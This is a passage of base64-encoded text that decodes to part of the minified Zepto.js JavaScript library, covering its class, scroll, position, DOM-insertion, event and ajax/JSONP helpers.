Rpb24oYSl7cmV0dXJuIGE/dGhpcy5pbmRleE9mKGMoYSlbMF0pOnRoaXMucGFyZW50KCkuY2hpbGRyZW4oKS5pbmRleE9mKHRoaXNbMF0pfSxoYXNDbGFzczpmdW5jdGlvbihhKXtyZXR1cm4gYT9lLnNvbWUuY2FsbCh0aGlzLGZ1bmN0aW9uKGEpe3JldHVybiB0aGlzLnRlc3QoWihhKSl9LFIoYSkpOiExfSxhZGRDbGFzczpmdW5jdGlvbihhKXtyZXR1cm4gYT90aGlzLmVhY2goZnVuY3Rpb24oYil7ZD1bXTt2YXIgZT1aKHRoaXMpLGY9WCh0aGlzLGEsYixlKTtmLnNwbGl0KC9ccysvZykuZm9yRWFjaChmdW5jdGlvbihhKXtjKHRoaXMpLmhhc0NsYXNzKGEpfHxkLnB1c2goYSl9LHRoaXMpLGQubGVuZ3RoJiZaKHRoaXMsZSsoZT8iICI6IiIpK2Quam9pbigiICIpKX0pOnRoaXN9LHJlbW92ZUNsYXNzOmZ1bmN0aW9uKGIpe3JldHVybiB0aGlzLmVhY2goZnVuY3Rpb24oYyl7aWYoYj09PWEpcmV0dXJuIFoodGhpcywiIik7ZD1aKHRoaXMpLFgodGhpcyxiLGMsZCkuc3BsaXQoL1xzKy9nKS5mb3JFYWNoKGZ1bmN0aW9uKGEpe2Q9ZC5yZXBsYWNlKFIoYSksIiAiKX0pLFoodGhpcyxkLnRyaW0oKSl9KX0sdG9nZ2xlQ2xhc3M6ZnVuY3Rpb24oYixkKXtyZXR1cm4gYj90aGlzLmVhY2goZnVuY3Rpb24oZSl7dmFyIGY9Yyh0aGlzKSxnPVgodGhpcyxiLGUsWih0aGlzKSk7Zy5zcGxpdCgvXHMrL2cpLmZvckVhY2goZnVuY3Rpb24oYil7KGQ9PT1hPyFmLmhhc0NsYXNzKGIpOmQpP2YuYWRkQ2xhc3MoYik6Zi5yZW1vdmVDbGFzcyhiKX0pfSk6dGhpc30sc2Nyb2xsVG9wOmZ1bmN0aW9uKGIpe2lmKCF0aGlzLmxlbmd0aClyZXR1cm47dmFyIGM9InNjcm9sbFRvcCJpbiB0aGlzWzBdO3JldHVybiBiPT09YT9jP3RoaXNbMF0uc2Nyb2xsVG9wOnRoaXNbMF0ucGFnZVlPZmZzZXQ6dGhpcy5lYWNoKGM/ZnVuY3Rpb24oKXt0aGlzLnNjcm9sbFRvcD1ifTpmdW5jdGlvbigpe3RoaXMuc2Nyb2xsVG8odGhpcy5zY3JvbGxYLGIpfSl9LHNjcm9sbExlZnQ6ZnVuY3Rpb24oYil7aWYoIXRoaXMubGVuZ3RoKXJldHVybjt2YXIgYz0ic2Nyb2xsTGVmdCJpbiB0aGlzWzBdO3JldHVybiBiPT09YT9jP3RoaXNbMF0uc2Nyb2xsTGVmdDp0aGlzWzBdLnBhZ2VYT2Zmc2V0OnRoaXMuZWFjaChjP2Z1bmN0aW9uKCl7dGhpcy5zY3JvbGxMZWZ0PWJ9OmZ1bmN0aW9uKCl7dGhpcy5zY3JvbGxUbyhiLHRoaXMuc2Nyb2xsWSl9KX0scG9zaXRpb246ZnVuY3Rpb24oKXtpZighdGhpcy5sZW5ndGgpcmV0dXJuO3ZhciBhPXRoaXNbMF0sYj10aGlzLm9mZnNldFBhcmVudCgpLGQ9dGhpcy5vZmZzZXQoKSxlPW8udGVzdChiWzBdLm5vZGVOYW1lKT97dG9wOjAsbGVmdDowfTpiLm9mZnNldCgpO3JldHVybiBkLnRvcC09cGFyc2VGbG9hdChjKGEpLmNzcygibWFyZ2luLXRvcCIpKXx8MCxkLmxlZnQtPXBhcnNlRmxvYXQoYyhhKS5jc3MoIm1hcmdpbi1sZWZ0IikpfHwwLGUudG9wKz1wYXJzZUZsb2F0KGMoYlswXSkuY3NzKCJib3JkZXItdG9wLXdpZHRoIikpfHwwLGUubGVmdCs9cGFyc2VGbG9hdChjKGJbMF0pLmNzcygiYm9yZGVyLWxlZnQtd2lkdGgiKSl8fDAse3RvcDpkLnRvcC1lLnRvcCxsZWZ0OmQubGVmdC1lLmxlZnR9fSxvZmZzZXRQYXJlbnQ6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5tYXAoZnVuY3Rpb24oKXt2YXIgYT10aGlzLm9mZnNldFBhcmVudHx8aC5ib2R5O3doaWxlKGEmJiFvLnRlc3QoYS5ub2RlTmFtZSkmJmMoYSkuY3NzKCJwb3NpdGlvbiIpPT0ic3RhdGljIilhPWEub2Zmc2V0UGFyZW50O3JldHVybiBhfSl9fSxjLmZuLmRldGFjaD1jLmZuLnJlbW92ZSxbIndpZHRoIiwiaGVpZ2h0Il0uZm9yRWFjaChmdW5jdGlvbihiKXt2YXIgZD1iLnJlcGxhY2UoLy4vLGZ1bmN0aW9uKGEpe3JldHVybiBhWzBdLnRvVXBwZXJDYXNlKCl9KTtjLmZuW2JdPWZ1bmN0aW9uKGUpe3ZhciBmLGc9dGhpc1swXTtyZXR1cm4gZT09PWE/SShnKT9nWyJpbm5lciIrZF06SihnKT9nLmRvY3VtZW50RWxlbWVudFsic2Nyb2xsIitkXTooZj10aGlzLm9mZnNldCgpKSYmZltiXTp0aGlzLmVhY2goZnVuY3Rpb24oYSl7Zz1jKHRoaXMpLGcuY3NzKGIsWCh0aGlzLGUsYSxnW2JdKCkpKX0pfX0pLHIuZm9yRWFjaChmdW5jdGlvbihhLGIpe3ZhciBkPWIlMjtjLmZuW2FdPWZ1bmN0aW9uKCl7dmFyIGEsZT1jLm1hcChhcmd1bWVudHMsZnVuY3Rpb24oYil7cmV0dXJuIGE9RyhiKSxhPT0ib2JqZWN0Inx8YT09ImFycmF5Inx8Yj09bnVsbD9iOkIuZnJhZ21lbnQoYil9KSxmLGc9dGhpcy5sZW5ndGg+MTtyZXR1cm4gZS5sZW5ndGg8MT90aGlzOnRoaXMuZWFjaChmdW5jdGlvbihhLGgpe2Y9ZD9oOmgucGFyZW50Tm9kZSxoPWI9PTA/aC5uZXh0U2libGluZzpiPT0xP2guZmlyc3RDaGlsZDpiPT0yP2g6bnVsbCxlLmZvckVhY2goZnVuY3Rpb24oYSl7aWYoZylhPWEuY2xvbmVOb2RlKCEwKTtlbHNlIGlmKCFmKXJldHVybiBjKGEpLnJlbW92ZSgpO18oZi5pbnNlcnRCZWZvcmUoYSxoKSxmdW5jdGlvbihhKXthLm5vZGVOYW1lIT1udWxsJiZhLm5vZGVOYW1lLnRvVXBwZXJDYXNlKCk9PT0iU0NSSVBUIiYmKCFhLnR5cGV8fGEudHlwZT09PSJ0ZXh0L2phdmFzY3JpcHQiKSYmIWEuc3JjJiZ3aW5kb3cuZXZhbC5jYWxsKHdpbmRvdyxhLmlubmVySFRNTCl9KX0pfSl9LGMuZm5bZD9hKyJUbyI6Imluc2VydCIrKGI/IkJlZm9yZSI6IkFmdGVyIildPWZ1bmN0aW9uKGIpe3JldHVybiBjKGIpW2FdKHRoaXMpLHRoaXN9fSksQi5aLnByb3RvdHlwZT1jLmZuLEIudW5pcT1ELEIuZGVzZXJpYWxpemVWYWx1ZT0kLGMuemVwdG89QixjfSgpO3dpbmRvdy5aZXB0bz1aZXB0byx3aW5kb3cuJD09PXVuZGVmaW5lZCYmKHdpbmRvdy4kPVplcHRvKSxmdW5jdGlvbihhKXtmdW5jdGlvbiBtKGEpe3JldHVybiBhLl96aWR8fChhLl96aWQ9YysrKX1mdW5jdGlvbiBuKGEsYixjLGQpe2I9byhiKTtpZihiLm5zKXZhciBlPXAoYi5ucyk7cmV0dXJuKGhbbShhKV18fFtdKS5maWx0ZXIoZnVuY3Rpb24oYSl7cmV0dXJuIGEmJighYi5lfHxhLmU9PWIuZSkmJighYi5uc3x8ZS50ZXN0KGEubnMpKSYmKCFjfHxtKGEuZm4pPT09bShjKSkmJighZHx8YS5zZWw9PWQpfSl9ZnVuY3Rpb24gbyhhKXt2YXIgYj0oIiIrYSkuc3BsaXQoIi4iKTtyZXR1cm57ZTpiWzBdLG5zOmIuc2xpY2UoMSkuc29ydCgpLmpvaW4oIiAiKX19ZnVuY3Rpb24gcChhKXtyZXR1cm4gbmV3IFJlZ0V4cCgiKD86XnwgKSIrYS5yZXBsYWNlKCIgIiwiIC4qID8iKSsiKD86IHwkKSIpfWZ1bmN0aW9uIHEoYSxiKXtyZXR1cm4gYS5kZWwmJiFqJiZhLmUgaW4ga3x8ISFifWZ1bmN0aW9uIHIoYSl7cmV0dXJuIGxbYV18fGomJmtbYV18fGF9ZnVuY3Rpb24gcyhiLGMsZSxmLGcsaSxqKXt2YXIgaz1tKGIpLG49aFtrXXx8KGhba109W10pO2Muc3BsaXQoL1xzLykuZm9yRWFjaChmdW5jdGlvbihjKXtpZihjPT0icmVhZHkiKXJldHVybiBhKGRvY3VtZW50KS5yZWFkeShlKTt2YXIgaD1vKGMpO2guZm49ZSxoLnNlbD1nLGguZSBpbiBsJiYoZT1mdW5jdGlvbihiKXt2YXIgYz1iLnJlbGF0ZWRUYXJnZXQ7aWYoIWN8fGMhPT10aGlzJiYhYS5jb250YWlucyh0aGlzLGMpKXJldHVybiBoLmZuLmFwcGx5KHRoaXMsYXJndW1lbnRzKX0pLGguZGVsPWk7dmFyIGs9aXx8ZTtoLnByb3h5PWZ1bmN0aW9uKGEpe2E9eShhKTtpZihhLmlzSW1tZWRpYXRlUHJvcGFnYXRpb25TdG9wcGVkKCkpcmV0dXJuO2EuZGF0YT1mO3ZhciBjPWsuYXBwbHkoYixhLl9hcmdzPT1kP1thXTpbYV0uY29uY2F0KGEuX2FyZ3MpKTtyZXR1cm4gYz09PSExJiYoYS5wcmV2ZW50RGVmYXVsdCgpLGEuc3RvcFByb3BhZ2F0aW9uKCkpLGN9LGguaT1uLmxlbmd0aCxuLnB1c2goaCksImFkZEV2ZW50TGlzdGVuZXIiaW4gYiYmYi5hZGRFdmVudExpc3RlbmVyKHIoaC5lKSxoLnByb3h5LHEoaCxqKSl9KX1mdW5jdGlvbiB0KGEsYixjLGQsZSl7dmFyIGY9bShhKTsoYnx8IiIpLnNwbGl0KC9ccy8pLmZvckVhY2goZnVuY3Rpb24oYil7bihhLGIsYyxkKS5mb3JFYWNoKGZ1bmN0aW9uKGIpe2RlbGV0ZSBoW2ZdW2IuaV0sInJlbW92ZUV2ZW50TGlzdGVuZXIiaW4gYSYmYS5yZW1vdmVFdmVudExpc3RlbmVyKHIoYi5lKSxiLnByb3h5LHEoYixlKSl9KX0pfWZ1bmN0aW9uIHkoYixjKXtpZihjfHwhYi5pc0RlZmF1bHRQcmV2ZW50ZWQpe2N8fChjPWIpLGEuZWFjaCh4LGZ1bmN0aW9uKGEsZCl7dmFyIGU9Y1thXTtiW2FdPWZ1bmN0aW9uKCl7cmV0dXJuIHRoaXNbZF09dSxlJiZlLmFwcGx5KGMsYXJndW1lbnRzKX0sYltkXT12fSk7aWYoYy5kZWZhdWx0UHJldmVudGVkIT09ZD9jLmRlZmF1bHRQcmV2ZW50ZWQ6InJldHVyblZhbHVlImluIGM/Yy5yZXR1cm5WYWx1ZT09PSExOmMuZ2V0UHJldmVudERlZmF1bHQmJmMuZ2V0UHJldmVudERlZmF1bHQoKSliLmlzRGVmYXVsdFByZXZlbnRlZD11fXJldHVybiBifWZ1bmN0aW9uIHooYSl7dmFyIGIsYz17b3JpZ2luYWxFdmVudDphfTtmb3IoYiBpbiBhKSF3LnRlc3QoYikmJmFbYl0hPT1kJiYoY1tiXT1hW2JdKTtyZXR1cm4geShjLGEpfXZhciBiPWEuemVwdG8ucXNhLGM9MSxkLGU9QXJyYXkucHJvdG90eXBlLnNsaWNlLGY9YS5pc0Z1bmN0aW9uLGc9ZnVuY3Rpb24oYSl7cmV0dXJuIHR5cGVvZiBhPT0ic3RyaW5nIn0saD17fSxpPXt9LGo9Im9uZm9jdXNpbiJpbiB3aW5kb3csaz17Zm9jdXM6ImZvY3VzaW4iLGJsdXI6ImZvY3Vzb3V0In0sbD17bW91c2VlbnRlcjoibW91c2VvdmVyIixtb3VzZWxlYXZlOiJtb3VzZW91dCJ9O2kuY2xpY2s9aS5tb3VzZWRvd249aS5tb3VzZXVwPWkubW91c2Vtb3ZlPSJNb3VzZUV2ZW50cyIsYS5ldmVudD17YWRkOnMscmVtb3ZlOnR9LGEucHJveHk9ZnVuY3Rpb24oYixjKXtpZihmKGIpKXt2YXIgZD1mdW5jdGlvbigpe3JldHVybiBiLmFwcGx5KGMsYXJndW1lbnRzKX07cmV0dXJuIGQuX3ppZD1tKGIpLGR9aWYoZyhjKSlyZXR1cm4gYS5wcm94eShiW2NdLGIpO3Rocm93IG5ldyBUeXBlRXJyb3IoImV4cGVjdGVkIGZ1bmN0aW9uIil9LGEuZm4uYmluZD1mdW5jdGlvbihhLGIsYyl7cmV0dXJuIHRoaXMub24oYSxiLGMpfSxhLmZuLnVuYmluZD1mdW5jdGlvbihhLGIpe3JldHVybiB0aGlzLm9mZihhLGIpfSxhLmZuLm9uZT1mdW5jdGlvbihhLGIsYyxkKXtyZXR1cm4gdGhpcy5vbihhLGIsYyxkLDEpfTt2YXIgdT1mdW5jdGlvbigpe3JldHVybiEwfSx2PWZ1bmN0aW9uKCl7cmV0dXJuITF9LHc9L14oW0EtWl18cmV0dXJuVmFsdWUkfGxheWVyW1hZXSQpLyx4PXtwcmV2ZW50RGVmYXVsdDoiaXNEZWZhdWx0UHJldmVudGVkIixzdG9wSW1tZWRpYXRlUHJvcGFnYXRpb246ImlzSW1tZWRpYXRlUHJvcGFnYXRpb25TdG9wcGVkIixzdG9wUHJvcGFnYXRpb246ImlzUHJvcGFnYXRpb25TdG9wcGVkIn07YS5mbi5kZWxlZ2F0ZT1mdW5jdGlvbihhLGIsYyl7cmV0dXJuIHRoaXMub24oYixhLGMpfSxhLmZuLnVuZGVsZWdhdGU9ZnVuY3Rpb24oYSxiLGMpe3JldHVybiB0aGlzLm9mZihiLGEsYyl9LGEuZm4ubGl2ZT1mdW5jdGlvbihiLGMpe3JldHVybiBhKGRvY3VtZW50LmJvZHkpLmRlbGVnYXRlKHRoaXMuc2VsZWN0b3IsYixjKSx0aGlzfSxhLmZuLmRpZT1mdW5jdGlvbihiLGMpe3JldHVybiBhKGRvY3VtZW50LmJvZHkpLnVuZGVsZWdhdGUodGhpcy5zZWxlY3RvcixiLGMpLHRoaXN9LGEuZm4ub249ZnVuY3Rpb24oYixjLGgsaSxqKXt2YXIgayxsLG09dGhpcztpZihiJiYhZyhiKSlyZXR1cm4gYS5lYWNoKGIsZnVuY3Rpb24oYSxiKXttLm9uKGEsYyxoLGIsail9KSxtOyFnKGMpJiYhZihpKSYmaSE9PSExJiYoaT1oLGg9YyxjPWQpO2lmKGYoaCl8fGg9PT0hMSlpPWgsaD1kO3JldHVybiBpPT09ITEmJihpPXYpLG0uZWFjaChmdW5jdGlvbihkLGYpe2omJihrPWZ1bmN0aW9uKGEpe3JldHVybiB0KGYsYS50eXBlLGkpLGkuYXBwbHkodGhpcyxhcmd1bWVudHMpfSksYyYmKGw9ZnVuY3Rpb24oYil7dmFyIGQsZz1hKGIudGFyZ2V0KS5jbG9zZXN0KGMsZikuZ2V0KDApO2lmKGcmJmchPT1mKXJldHVybiBkPWEuZXh0ZW5kKHooYikse2N1cnJlbnRUYXJnZXQ6ZyxsaXZlRmlyZWQ6Zn0pLChrfHxpKS5hcHBseShnLFtkXS5jb25jYXQoZS5jYWxsKGFyZ3VtZW50cywxKSkpfSkscyhmLGIsaSxoLGMsbHx8ayl9KX0sYS5mbi5vZmY9ZnVuY3Rpb24oYixjLGUpe3ZhciBoPXRoaXM7cmV0dXJuIGImJiFnKGIpPyhhLmVhY2goYixmdW5jdGlvbihhLGIpe2gub2ZmKGEsYyxiKX0pLGgpOighZyhjKSYmIWYoZSkmJmUhPT0hMSYmKGU9YyxjPWQpLGU9PT0hMSYmKGU9diksaC5lYWNoKGZ1bmN0aW9uKCl7dCh0aGlzLGIsZSxjKX0pKX0sYS5mbi50cmlnZ2VyPWZ1bmN0aW9uKGIsYyl7cmV0dXJuIGI9ZyhiKXx8YS5pc1BsYWluT2JqZWN0KGIpP2EuRXZlbnQoYik6eShiKSxiLl9hcmdzPWMsdGhpcy5lYWNoKGZ1bmN0aW9uKCl7ImRpc3BhdGNoRXZlbnQiaW4gdGhpcz90aGlzLmRpc3BhdGNoRXZlbnQoYik6YSh0aGlzKS50cmlnZ2VySGFuZGxlcihiLGMpfSl9LGEuZm4udHJpZ2dlckhhbmRsZXI9ZnVuY3Rpb24oYixjKXt2YXIgZCxlO3JldHVybiB0aGlzLmVhY2goZnVuY3Rpb24oZixoKXtkPXooZyhiKT9hLkV2ZW50KGIpOmIpLGQuX2FyZ3M9YyxkLnRhcmdldD1oLGEuZWFjaChuKGgsYi50eXBlfHxiKSxmdW5jdGlvbihhLGIpe2U9Yi5wcm94eShkKTtpZihkLmlzSW1tZWRpYXRlUHJvcGFnYXRpb25TdG9wcGVkKCkpcmV0dXJuITF9KX0pLGV9LCJmb2N1c2luIGZvY3Vzb3V0IGxvYWQgcmVzaXplIHNjcm9sbCB1bmxvYWQgY2xpY2sgZGJsY2xpY2sgbW91c2Vkb3duIG1vdXNldXAgbW91c2Vtb3ZlIG1vdXNlb3ZlciBtb3VzZW91dCBtb3VzZWVudGVyIG1vdXNlbGVhdmUgY2hhbmdlIHNlbGVjdCBrZXlkb3duIGtleXByZXNzIGtleXVwIGVycm9yIi5zcGxpdCgiICIpLmZvckVhY2goZnVuY3Rpb24oYil7YS5mbltiXT1mdW5jdGlvbihhKXtyZXR1cm4gYT90aGlzLmJpbmQoYixhKTp0aGlzLnRyaWdnZXIoYil9fSksWyJmb2N1cyIsImJsdXIiXS5mb3JFYWNoKGZ1bmN0aW9uKGIpe2EuZm5bYl09ZnVuY3Rpb24oYSl7cmV0dXJuIGE/dGhpcy5iaW5kKGIsYSk6dGhpcy5lYWNoKGZ1bmN0aW9uKCl7dHJ5e3RoaXNbYl0oKX1jYXRjaChhKXt9fSksdGhpc319KSxhLkV2ZW50PWZ1bmN0aW9uKGEsYil7ZyhhKXx8KGI9YSxhPWIudHlwZSk7dmFyIGM9ZG9jdW1lbnQuY3JlYXRlRXZlbnQoaVthXXx8IkV2ZW50cyIpLGQ9ITA7aWYoYilmb3IodmFyIGUgaW4gYillPT0iYnViYmxlcyI/ZD0hIWJbZV06Y1tlXT1iW2VdO3JldHVybiBjLmluaXRFdmVudChhLGQsITApLHkoYyl9fShaZXB0byksZnVuY3Rpb24oJCl7ZnVuY3Rpb24gdHJpZ2dlckFuZFJldHVybihhLGIsYyl7dmFyIGQ9JC5FdmVudChiKTtyZXR1cm4gJChhKS50cmlnZ2VyKGQsYyksIWQuaXNEZWZhdWx0UHJldmVudGVkKCl9ZnVuY3Rpb24gdHJpZ2dlckdsb2JhbChhLGIsYyxkKXtpZihhLmdsb2JhbClyZXR1cm4gdHJpZ2dlckFuZFJldHVybihifHxkb2N1bWVudCxjLGQpfWZ1bmN0aW9uIGFqYXhTdGFydChhKXthLmdsb2JhbCYmJC5hY3RpdmUrKz09PTAmJnRyaWdnZXJHbG9iYWwoYSxudWxsLCJhamF4U3RhcnQiKX1mdW5jdGlvbiBhamF4U3RvcChhKXthLmdsb2JhbCYmIS0tJC5hY3RpdmUmJnRyaWdnZXJHbG9iYWwoYSxudWxsLCJhamF4U3RvcCIpfWZ1bmN0aW9uIGFqYXhCZWZvcmVTZW5kKGEsYil7dmFyIGM9Yi5jb250ZXh0O2lmKGIuYmVmb3JlU2VuZC5jYWxsKGMsYSxiKT09PSExfHx0cmlnZ2VyR2xvYmFsKGIsYywiYWpheEJlZm9yZVNlbmQiLFthLGJdKT09PSExKXJldHVybiExO3RyaWdnZXJHbG9iYWwoYixjLCJhamF4U2VuZCIsW2EsYl0pfWZ1bmN0aW9uIGFqYXhTdWNjZXNzKGEsYixjLGQpe3ZhciBlPWMuY29udGV4dCxmPSJzdWNjZXNzIjtjLnN1Y2Nlc3MuY2FsbChlLGEsZixiKSxkJiZkLnJlc29sdmVXaXRoKGUsW2EsZixiXSksdHJpZ2dlckdsb2JhbChjLGUsImFqYXhTdWNjZXNzIixbYixjLGFdKSxhamF4Q29tcGxldGUoZixiLGMpfWZ1bmN0aW9uIGFqYXhFcnJvcihhLGIsYyxkLGUpe3ZhciBmPWQuY29udGV4dDtkLmVycm9yLmNhbGwoZixjLGIsYSksZSYmZS5yZWplY3RXaXRoKGYsW2MsYixhXSksdHJpZ2dlckdsb2JhbChkLGYsImFqYXhFcnJvciIsW2MsZCxhfHxiXSksYWpheENvbXBsZXRlKGIsYyxkKX1mdW5jdGlvbiBhamF4Q29tcGxldGUoYSxiLGMpe3ZhciBkPWMuY29udGV4dDtjLmNvbXBsZXRlLmNhbGwoZCxiLGEpLHRyaWdnZXJHbG9iYWwoYyxkLCJhamF4Q29tcGxldGUiLFtiLGNdKSxhamF4U3RvcChjKX1mdW5jdGlvbiBlbXB0eSgpe31mdW5jdGlvbiBtaW1lVG9EYXRhVHlwZShhKXtyZXR1cm4gYSYmKGE9YS5zcGxpdCgiOyIsMilbMF0pLGEmJihhPT1odG1sVHlwZT8iaHRtbCI6YT09anNvblR5cGU/Impzb24iOnNjcmlwdFR5cGVSRS50ZXN0KGEpPyJzY3JpcHQiOnhtbFR5cGVSRS50ZXN0KGEpJiYieG1sIil8fCJ0ZXh0In1mdW5jdGlvbiBhcHBlbmRRdWVyeShhLGIpe3JldHVybiBiPT0iIj9hOihhKyImIitiKS5yZXBsYWNlKC9bJj9dezEsMn0vLCI/Iil9ZnVuY3Rpb24gc2VyaWFsaXplRGF0YShhKXthLnByb2Nlc3NEYXRhJiZhLmRhdGEmJiQudHlwZShhLmRhdGEpIT0ic3RyaW5nIiYmKGEuZGF0YT0kLnBhcmFtKGEuZGF0YSxhLnRyYWRpdGlvbmFsKSksYS5kYXRhJiYoIWEudHlwZXx8YS50eXBlLnRvVXBwZXJDYXNlKCk9PSJHRVQiKSYmKGEudXJsPWFwcGVuZFF1ZXJ5KGEudXJsLGEuZGF0YSksYS5kYXRhPXVuZGVmaW5lZCl9ZnVuY3Rpb24gcGFyc2VBcmd1bWVudHMoYSxiLGMsZCl7dmFyIGU9ISQuaXNGdW5jdGlvbihiKTtyZXR1cm57dXJsOmEsZGF0YTplP2I6dW5kZWZpbmVkLHN1Y2Nlc3M6ZT8kLmlzRnVuY3Rpb24oYyk/Yzp1bmRlZmluZWQ6YixkYXRhVHlwZTplP2R8fGM6Y319ZnVuY3Rpb24gc2VyaWFsaXplKGEsYixjLGQpe3ZhciBlLGY9JC5pc0FycmF5KGIpLGc9JC5pc1BsYWluT2JqZWN0KGIpOyQuZWFjaChiLGZ1bmN0aW9uKGIsaCl7ZT0kLnR5cGUoaCksZCYmKGI9Yz9kOmQrIlsiKyhnfHxlPT0ib2JqZWN0Inx8ZT09ImFycmF5Ij9iOiIiKSsiXSIpLCFkJiZmP2EuYWRkKGgubmFtZSxoLnZhbHVlKTplPT0iYXJyYXkifHwhYyYmZT09Im9iamVjdCI/c2VyaWFsaXplKGEsaCxjLGIpOmEuYWRkKGIsaCl9KX12YXIganNvbnBJRD0wLGRvY3VtZW50PXdpbmRvdy5kb2N1bWVudCxrZXksbmFtZSxyc2NyaXB0PS88c2NyaXB0XGJbXjxdKig/Oig/ITxcL3NjcmlwdD4pPFtePF0qKSo8XC9zY3JpcHQ+L2dpLHNjcmlwdFR5cGVSRT0vXig/OnRleHR8YXBwbGljYXRpb24pXC9qYXZhc2NyaXB0L2kseG1sVHlwZVJFPS9eKD86dGV4dHxhcHBsaWNhdGlvbilcL3htbC9pLGpzb25UeXBlPSJhcHBsaWNhdGlvbi9qc29uIixodG1sVHlwZT0idGV4dC9odG1sIixibGFua1JFPS9eXHMqJC87JC5hY3RpdmU9MCwkLmFqYXhKU09OUD1mdW5jdGlvbihhLGIpe2lmKCJ0eXBlImluIGEpe3ZhciBjPWEuanNvbnBDYWxsYmFjayxkPSgkLmlzRnVuY3Rpb24oYyk/YygpOmMpfHwianNvbnAiKyArK2pzb25wSUQsZT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJzY3JpcHQiKSxmPXdpbmRvd1tkXSxnLGg9ZnVuY3Rpb24oYSl7JChlKS50cmlnZ2VySGFuZGxlcigiZXJyb3IiLGF8fCJhYm9ydCIpfSxpPXthYm9ydDpofSxqO3JldHVybiBiJiZiLnByb21pc2UoaSksJChlKS5vbigibG9hZCBlcnJvciIsZnVuY3Rpb24oYyxoKXtjbGVhclRpbWVvdXQoaiksJChlKS5vZmYoKS5yZW1vdmUoKSxjLnR5cGU9PSJlcnJvciJ8fCFnP2FqYXhFcnJvcihudWxsLGh8fCJlcnJvciIsaSxhLGIpOmFqYXhTdWNjZXNzKGdbMF0saSxhLGIpLHdpbmRvd1tkXT1mLGcmJiQuaXNGdW5jdGlvbihmKSYmZihnWzBdKSxmPWc9dW5kZWZpbmVkfSksYWpheEJlZm9yZVNlbmQoaSxhKT09PSExPyhoKCJhYm9ydCIpLGkpOih3aW5kb3dbZF09ZnVuY3Rpb24oKXtnPWFyZ3VtZW50c30sZS5zcmM9YS51cmwucmVwbGFjZSgvPVw/LywiPSIrZCksZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChlKSxhLnRpbWVvdXQ+MCYmKGo9c2V0VGltZW91dChmdW5jdGlvbigpe2goInRpbWVvdXQiKX0sYS50aW1lb3V0KSksaSl9cmV0dXJuICQuYWpheChhKX0sJC5hamF4U2V0dGluZ3M9e3R5cGU6IkdFVCIsYmVmb3JlU2VuZDplbXB0eSxzdWNjZXNzOmVtcHR5LGVycm9yOmVtcHR5LGNvbXBsZXRlOmVtcHR5LGNvbnRleHQ6bnVsbCxnbG9iYWw6ITAseGhyOmZ1bmN0aW9uKCl7cmV0dXJuIG5ldyB3aW5kb3cuWE1MSHR0cFJlcXVlc3R9LGFjY2VwdHM6e3NjcmlwdDoidGV4dC9qYXZhc2NyaXB0LCBhcHBsaWNhdGlvbi9qYXZhc2NyaXB0LCBhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQiLGpzb246anNvblR5cGUseG1sOiJhcHBsaWNhdGlvbi94bWwsIHRleHQveG1sIixodG1sOmh0bWxUeXBlLHRleHQ6InRleHQvcGxhaW4ifSxjcm9zc0RvbWFpbjohMSx0aW1lb3V0OjAscHJvY2Vzc0RhdGE6ITAsY2FjaGU6ITB9LCQuYWpheD1mdW5jdGlvbihvcHRpb25zKXt2YXIgc2V0dGluZ3M9JC5leHRlbmQoe30sb3B0aW9uc3x8e30pLGRlZmVycmVkPSQuRGVmZXJyZWQmJiQuRGVmZXJyZWQoKTtmb3Ioa2V5IGluICQuYWpheFNldHRpbmdzKXNldHRpbmdzW2tleV09PT11bmRlZmluZWQmJihzZXR0aW5nc1trZXldPSQuYWpheFNldHRpbmdzW2tleV0pO2FqYXhTdGFydChzZXR0aW5ncyksc2V0dGluZ3MuY3Jvc3NEb21haW58fChzZXR0aW5ncy5jcm9zc0RvbWFpbj0vXihbXHctXSs6KT9cL1wvKFteXC9dKykvLnRlc3Qoc2V0dGluZ3MudXJsKSYmUmVnRXhwLiQyIT13aW5kb3cubG9jYXRpb24uaG9zdCksc2V0dGluZ3MudXJsfHwoc2V0dGluZ3MudXJsPXdpbmRvdy5sb2NhdGlvbi50b1N0cmluZygpKSxzZXJpYWxpemVEYXRhKHNldHRpbmdzKSxzZXR0aW5ncy5jYWNoZT09PSExJiYoc2V0dGluZ3MudXJsPWFwcGVuZFF1ZXJ5KHNldHRpbmdzLnVybCwiXz0iK0RhdGUubm93KCkpKTt2YXIgZGF0YVR5cGU9c2V0dGluZ3MuZGF0YVR5cGUsaGFzUGxhY2Vob2xkZXI9Lz1cPy8udGVzdChzZXR0aW5ncy51cmwpO2lmKGRhdGFUeXBlPT0ianNvbnAifHxoYXNQbGFjZWhvbGRlcilyZXR1cm4gaGFzUGxhY2Vob2xkZXJ8fChzZXR0aW5ncy51cmw9YXBwZW5kUXVlcnkoc2V0dGluZ3MudXJsLHNldHRpbmdzLmpzb25wP3NldHRpbmdzLmpzb25wKyI9PyI6c2V0dGluZ3MuanNvbnA9PT0hMT8iIjoiY2FsbGJhY2s9PyIpKSwkLmFqYXhKU09OUChzZXR0aW5ncyxkZWZlcnJlZCk7dmFyIG1pbWU9c2V0dGluZ3MuYWNjZXB0c1tkYXRhVHlwZV0saGVhZGVycz17fSxzZXRIZWFkZXI9ZnVuY3Rpb24oYSxiKXtoZWFkZXJzW2EudG9Mb3dlckNhc2UoKV09W2EsYl19LHByb3RvY29sPS9eKFtcdy1dKzopXC9cLy8udGVzdChzZXR0aW5ncy51cmwpP1JlZ0V4cC4kMTp3aW5kb3cubG9jYXRpb24ucHJvdG9jb2wseGhyPXNldHRpbmdzLnhocigpLG5hdGl2ZVNldEhlYWRlcj14aHIuc2V0UmVxdWVzdEhlYWRlcixhYm9ydFRpbWVvdXQ7ZGVmZXJyZWQmJmRlZmVycmVkLnByb21pc2UoeGhyKSxzZXR0aW5ncy5jcm9zc0RvbWFpbnx8c2V0SGVhZGVyKCJYLVJlcXVlc3RlZC1XaXRoIiwiWE1MSHR0cFJlcXVlc3QiKSxzZXRIZWFkZXIoIkFjY2VwdCIsbWltZXx8IiovKiIpO2lmKG1pbWU9c2V0dGluZ3MubWltZVR5cGV8fG1pbWUpbWltZS5pbmRleE9mKCIsIik+LTEmJihtaW1lPW1pbWUuc3BsaXQoIiwiLDIpWzBdKSx4aHIub3ZlcnJpZGVNaW1lVHlwZSYmeGhyLm92ZXJyaWRlTWltZVR5cGUobWltZSk7KHNldHRpbmdzLmNvbnRlbnRUeXBlfHxzZXR0aW5ncy5jb250ZW50VHlwZSE9PSExJiZzZXR0aW5ncy5kYXRhJiZ